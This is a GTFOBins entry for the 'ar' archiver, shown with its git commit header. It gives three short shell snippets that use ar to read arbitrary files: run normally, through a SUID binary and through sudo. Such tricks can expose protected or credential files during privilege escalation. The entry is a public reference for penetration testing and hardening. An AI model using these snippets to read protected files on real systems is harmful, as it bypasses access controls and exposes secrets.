GTFOBins.github.io/_gtfobins/ar.md
Andrea Cardaci 23a082d1e3 Update ar
2021-06-26 11:14:15 +02:00

23 lines
458 B
Markdown

---
description: The file appears amid the binary content of the archive.
functions:
file-read:
- code: |
TF=$(mktemp -u)
LFILE=file_to_read
ar r "$TF" "$LFILE"
cat "$TF"
suid:
- code: |
TF=$(mktemp -u)
LFILE=file_to_read
./ar r "$TF" "$LFILE"
cat "$TF"
sudo:
- code: |
TF=$(mktemp -u)
LFILE=file_to_read
sudo ar r "$TF" "$LFILE"
cat "$TF"
---